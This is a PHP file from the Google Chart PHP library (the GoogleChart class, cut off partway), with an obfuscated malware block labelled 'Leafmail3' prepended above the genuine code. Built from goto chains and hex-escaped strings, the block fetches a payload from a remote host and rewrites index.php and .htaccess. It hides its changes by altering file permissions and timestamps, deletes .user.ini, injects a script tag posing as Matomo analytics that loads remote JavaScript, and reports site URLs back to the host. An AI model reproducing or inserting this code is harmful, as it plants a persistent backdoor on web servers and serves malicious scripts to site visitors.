<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php

/** @file
 * This file is part of Google Chart PHP library.
 *
 * Copyright (c) 2010 Rémi Lanvin <remi@cloudconnected.fr>
 *
 * Licensed under the MIT license.
 *
 * For the full copyright and license information, please view the LICENSE file.
 */

require_once 'GoogleChartApi.php';
require_once 'GoogleChartData.php';
require_once 'GoogleChartAxis.php';
require_once 'GoogleChartMarker.php';

/**
 * A chart.
 *
 * This class represent a chart. It provides a bunch of setters to customize it.
 * When creating a new chart, you need to specify 3 things:
 * - type of the chart (see http://code.google.com/apis/chart/docs/gallery/chart_gall.html)
 * - width
 * - height
 *
 * Then you need to add data to that chart using GoogleChartData class.
 *
 * Depending on the type of chart, you can also add one or more axis using GoogleChartAxis class.
 *
 * @par Line chart example
 *
 * @include line_chart.php
 *
 * @par Work around for unimplemented features
 *
 * You can override any parameter by setting its value in the class.
 * For example, to following code will override the background:
 *
 * \code
 *   $chart = new GoogleChart('lc', 500, 200);
 *   $chart->chf = 'b,s,cccccc';
 *   var_dump($chart->getQuery());
 * \endcode
 *
 * You can use this method for working with features that are currently
 * not implemented in the library (or buggy).
 */
class GoogleChart extends GoogleChartApi
{
	const AUTOSCALE_OFF = false;
	const AUTOSCALE_VALUES = true;

	const BACKGROUND = 'bg';
	const CHART_AREA = 'c';

	const TEXT = 't';
	const SIMPLE_ENCODING = 's';
	const EXTENDED_ENCODING = 'e';

	/**
	 * Store the type of the chart as string.
	 */
	protected $type = '';

	/**
	 * Width
	 */
	protected $width = '';

	/**
	 * Height
	 */
	protected $height = '';

	/**
	 * List of all data series (GoogleChartData)
	 */
	protected $data = array();

	/**
	 * Data format (text, simple encoding or extended encoding)
	 */
	protected $data_format = self::TEXT;

	/**
	 * Data format have different separator character
	 */
	protected $data_separator = array(
		self::TEXT => '|',
		self::SIMPLE_ENCODING => ',',
		self::EXTENDED_ENCODING => ','
	);

	/**
	 * List of all axes (GoogleChartAxis)
	 */
	protected $axes = array();

	/**
	 * List of all markers (GoogleChartMarker) @c chm parameter
	 */
	protected $markers = array();

	/**
	 * List of dynamic markers (GooglechartIcon). @c chem parameter
	 */
	protected $dynamic_markers = array();

	protected $grid_lines = null;

	protected $chts = false;
	protected $title = null;
	protected $title_color = '000000';
	protected $title_size = '12';

	protected $autoscale = true;
	protected $scale = null;

	protected $legend_position = null;
	protected $legend_label_order = null;
	protected $legend_skip_empty = true;

	protected $fills = null;

	protected $_compute_data_label = false;

	//~ protected $chma = false;
	protected $margin = null;
	protected $legend_size = null;

	/**
	 * Create a new chart.
	 *
	 * @param $type (string)
	 *   Google chart type.
	 * @param $width (int)
	 * @param $height (int)
	 *
	 * @see http://code.google.com/apis/chart/docs/gallery/chart_gall.html
	 */
	public function __construct($type, $width, $height)
	{
		$this->type = $type;
		$this->width = $width;
		$this->height = $height;

		//~ $this->setAutoscale(self::AUTOSCALE_Y_AXIS);
		//~ $this->setQueryMethod(self::POST);
	}

	/**
	 * Set the data format used by the chart.
	 * Default is GoogleChart::TEXT (basic text format).
	 * @since 0.5
	 */
	public function setDataFormat($format)
	{
		if ( $format !== self::TEXT && $format !== self::SIMPLE_ENCODING && $format !== self::EXTENDED_ENCODING ) {
			throw new InvalidArgumentException('Invalid data format');
		}

		$this->data_format = $format;
	}

	/**
	 * Add a data serie to the chart.
	 *
	 * @param $data (GoogleChartData)
	 * @see GoogleChartData
	 */
	public function addData(GoogleChartData $data)
	{
		if ( $data->hasIndex() )
			throw new LogicException('Invalid data serie. This data serie has already been added.');

		$index = array_push($this->data, $data);
		$data->setIndex($index - 1);
		return $this;
	}

	/**
	 * Add a visible axis to the chart.
	 *
	 * @param $axis (GoogleChartAxis)
	 * @see GoogleChartAxis
	 */
	public function addAxis(GoogleChartAxis $axis)
	{
		$this->axes[] = $axis;

		return $this;
	}

	/**
	 * Add a marker to the chart.
	 *
	 * @param $marker (GoogleChartMarker)
	 * @see GoogleChartShapeMarker, GoogleChartTextMarker, GoogleChartLineMarker
	 * @return $this
	 */
	public function addMarker(GoogleChartMarker $marker)
	{
		$this->markers[] = $marker;

		return $this;
	}

	/**
	 * Add a dynamic icon marker to the chart.
	 *
	 * Dynamic icon marker are different than regular marker. Technically, they
	 * are defined using @c chem parameter instead of @c chm for regular marker.
	 *
	 * @param $marker (GoogleChartIcon)
	 * @return $this
	 */
	public function addDynamicMarker(GoogleChartIcon $marker)
	{
		$this->dynamic_markers[] = $marker;

		return $this;
	}

/**
 * @name Scaling
 */
//@{
	/**
	 * Set autoscaling mode.
	 *
	 * Autoscaling is a feature provided by this library. Because Google Chart
	 * default scale is 0:100, most of the time your data will not appears the
	 * way you want. So you need to set a scale for the chart.
	 *
	 * @see http://code.google.com/p/googlechartphplib/wiki/Autoscaling
	 *
	 * @see http://code.google.com/apis/chart/docs/data_formats.html#data_scaling
	 *
	 * @param $autoscale (bool)
	 * @return $this
	 */
	public function setAutoscale($autoscale)
	{
		if ( $autoscale !== true && $autoscale !== false ) {
			throw new InvalidArgumentException('Invalid autoscale mode.');
		}

		$this->autoscale = $autoscale;
		return $this;
	}

	/**
	 * Set a global scale for the chart.
	 * Turns off autoscaling.
	 * @since 0.5
	 * @param $min (int)
	 * @param $max (int)
	 * @return $this
	 */
	public function setScale($min, $max)
	{
		$this->setAutoscale(false);

		$this->scale = array(
			'min' => $min,
			'max' => $max
		);
		return $this;
	}

	/**
	 * Return the scale.
	 * Note that after the chart has been computed, this function will returns
	 * the actual scale computed by the chart.
	 *
	 * @return array
	 */
	public function getScale()
	{
		return $this->scale;
	}

	/**
	 * Compute the @c chds parameter.
	 * @internal
	 */
	public function computeChds()
	{
		if ( $this->scale === null ) {
			throw new LogicException('Cannot compute scale that has not been set');
		}
		return $this->scale['min'].','.$this->scale['max'];
	}
//@}

/**
 * @name Chart title and style (chtt, chts)
 */
//@{
	/**
	 * Set the chart title (@c chtt).
	 *
	 * @param $title (string)
	 *
